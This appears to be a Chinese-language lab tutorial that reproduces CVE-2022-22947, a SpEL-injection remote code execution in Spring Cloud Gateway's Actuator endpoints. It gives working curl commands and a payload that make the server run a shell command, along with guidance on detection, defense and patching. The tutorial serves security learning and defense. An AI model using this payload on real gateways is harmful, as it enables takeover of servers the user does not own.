写在前面:合法学习边界
本文复现只在本机靶场进行。Spring Cloud Gateway 漏洞利用影响真实服务,禁止对非授权目标使用。
一、漏洞原理
Spring Cloud Gateway 的 Actuator 提供网关路由管理端点。如果端点未认证,攻击者可以添加一条恶意路由,在路由的过滤器里写入 SpEL 表达式,Spring 在解析时会执行该表达式 → RCE。
1
2
3
4
| 1. POST /actuator/gateway/routes/{id} 添加恶意路由
2. 路由过滤器里带 SpEL:#{} 表达式
3. POST /actuator/gateway/refresh 触发刷新
4. 解析表达式执行命令
|
影响版本:
1
2
3
| Spring Cloud Gateway 3.1.0 – 3.1.1
Spring Cloud Gateway 3.0.0 – 3.0.6
以及更早不安全的版本
|
二、影响与危害
1
2
3
| 远程代码执行(RCE)
Spring 应用被控制
内网横向
|
风险等级:严重。前提是 Actuator 网关端点暴露且未认证。
三、利用 / 复现
环境准备
1
| docker run -d -p 8080:8080 --name scg vulhub/spring-cloud-gateway:CVE-2022-22947
|
第一步:确认端点存在
1
| curl http://127.0.0.1:8080/actuator/gateway/routes
|
返回路由列表说明端点开放。
第二步:添加恶意路由(SpEL 注入)
1
2
3
| curl -X POST http://127.0.0.1:8080/actuator/gateway/routes/hack \
-H "Content-Type: application/json" \
-d '{"id":"hack","filters":[{"name":"AddResponseHeader","args":{"name":"Result","value":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}}],"uri":"http://example.com","predicates":[{"name":"Path","args":{"_genkey_0":"/hack/**"}}]}'
|
第三步:刷新并触发
1
2
3
4
5
6
| # 触发路由刷新
curl -X POST http://127.0.0.1:8080/actuator/gateway/refresh
# 访问路由触发执行
curl http://127.0.0.1:8080/hack/xxx
# 查看结果(回显在响应头)
curl -i "http://127.0.0.1:8080/actuator/gateway/routes/hack"
|
命令输出会出现在 Result 响应头里。
注意细节
1
2
3
| 命令数组写法避免空格问题:new String[]{"id"}
回显在响应头,不在响应体
路由 id 需要唯一
|
四、检测
1
2
3
4
| 日志中找 actuator/gateway/routes 与 refresh 请求
请求体出现 SpEL 关键字(#{}、Runtime、StreamUtils)
异常新增路由与响应头 Result
Spring 应用暴露未认证 actuator 端点
|
五、防御
1
2
3
4
| 生产环境关闭或认证 Actuator 端点
网关路由端点禁止匿名访问
WAF 拦截 SpEL 注入特征
按最小权限暴露 actuator
|
六、修复
1
2
3
4
| 升级 Spring Cloud Gateway 到 3.1.2+/3.0.7+
对 actuator 加认证与网络限制
清理已添加的恶意路由
修复后复测:SpEL 路由被拒、端点不可匿名访问
|
七、小结
CVE-2022-22947 提醒:Spring 的 Actuator 端点默认暴露就是风险面。测试时先扫 /actuator 相关路径,再判断有没有网关路由接口;防御核心是“端点要认证、版本要升级”。